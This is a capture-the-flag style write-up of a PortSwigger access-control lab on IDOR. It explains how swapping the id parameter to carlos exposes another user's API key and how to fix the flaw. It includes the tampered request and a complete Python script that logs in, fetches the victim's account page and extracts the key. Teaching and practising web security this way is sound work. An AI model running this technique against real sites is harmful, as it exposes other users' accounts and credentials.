LearnAccess Control › Lab: User ID controlled by request parameter

Lab: User ID controlled by request parameter

PortSwigger Apprentice Access Control

Original lab: Lab: User ID controlled by request parameter on PortSwigger ↗

Horizontal privilege escalation doesn't need a broken role system — it just needs an identifier that names *which* record to return, sitting in a place the client controls, with nothing checking that the identifier belongs to the person asking for it. This is the archetypal IDOR, and it's worth starting the horizontal-escalation labs here because every later variation in this series is this same idea wearing a slightly better disguise.

The Target

After logging in, the account page loads as /my-account?id=<username>. For wiener, that's /my-account?id=wiener, and the page displays account details including a personal API key.

The Investigation

The id parameter naming the account to display is sitting in plain sight in the URL, set to our own username. The obvious question — and the one this lab is built to test — is whether the server actually checks that the session belongs to the account named in id, or whether it just looks up whatever id says and returns it regardless of who's asking.

The Exploit

Logged in as wiener, we requested the same endpoint with carlos's username swapped into id:

GET /my-account?id=carlos
_login(client, base, "wiener", "peter")
resp = client.get(f"{base}/my-account", params={"id": "carlos"})

The response rendered carlos's account page, API key included, under wiener's own session — no error, no redirect, no ownership check. We extracted the key with a regex against the response body and submitted it through the lab's solution endpoint, which flipped the lab to solved.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution is the same request: log in, note that the account page URL contains your own username in the id parameter, send the request to Burp Repeater, change id to carlos, retrieve and submit the API key. This matches our approach exactly, both in the parameter tampered and in what confirms success.

The only difference is delivery — Repeater's manual parameter edit versus our script setting the id query parameter directly on the httpx request. The underlying request that hits the server is functionally identical either way.

What This Teaches Us

The account page trusted the id parameter as the sole source of truth for whose data to return, with the session cookie only used to confirm *that* someone was logged in, not *which* account they were entitled to see. That's the core lesson of every IDOR in this series: authentication and authorization are separate checks, and a system that only performs the first one will happily hand an authenticated user someone else's data. The fix is to derive the account being displayed from the session itself, never from a client-supplied parameter.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
User ID controlled by request parameter
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 05-user-id-controlled-by-request-parameter.md

What this does:
    Logs in as wiener and requests /my-account?id=carlos -- the server looks
    up whatever id says and returns it regardless of who's asking. Extracts
    carlos's API key from the rendered page with a regex and submits it
    through the lab's solution endpoint.

Usage:
    python 05-user-id-controlled-by-request-parameter.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx


def get_csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def login(client: httpx.Client, base: str, username: str, password: str) -> httpx.Response:
    login_page = client.get(f"{base}/login")
    csrf = get_csrf(login_page.text)
    return client.post(f"{base}/login", data={"csrf": csrf, "username": username, "password": password})


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    login(client, lab_url, "wiener", "peter")

    resp = client.get(f"{lab_url}/my-account", params={"id": "carlos"})
    print(f"[*] /my-account?id=carlos: {resp.status_code}")

    key_match = re.search(r'Your API key is:\s*([a-zA-Z0-9]+)', resp.text)
    if not key_match:
        key_match = re.search(r'API [Kk]ey[^<]*?([a-zA-Z0-9]{20,})', resp.text)
    if not key_match:
        key_match = re.search(r'<div[^>]*>([a-zA-Z0-9]{20,})</div>', resp.text)

    if not key_match:
        print("[-] Could not extract API key.")
        print(f"[DEBUG] Response preview: {resp.text[:500]}")
        return

    api_key = key_match.group(1)
    print(f"[+] Carlos API key: {api_key}")

    resp = client.post(f"{lab_url}/submitSolution", data={"answer": api_key})
    print(f"[*] Submitted: {resp.status_code}")

    check = client.get(lab_url)
    if "Congratulations" in check.text:
        print("[+] Lab solved -- carlos's API key stolen via id parameter IDOR.")
    else:
        print("[-] Not solved yet -- confirm the extracted API key.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →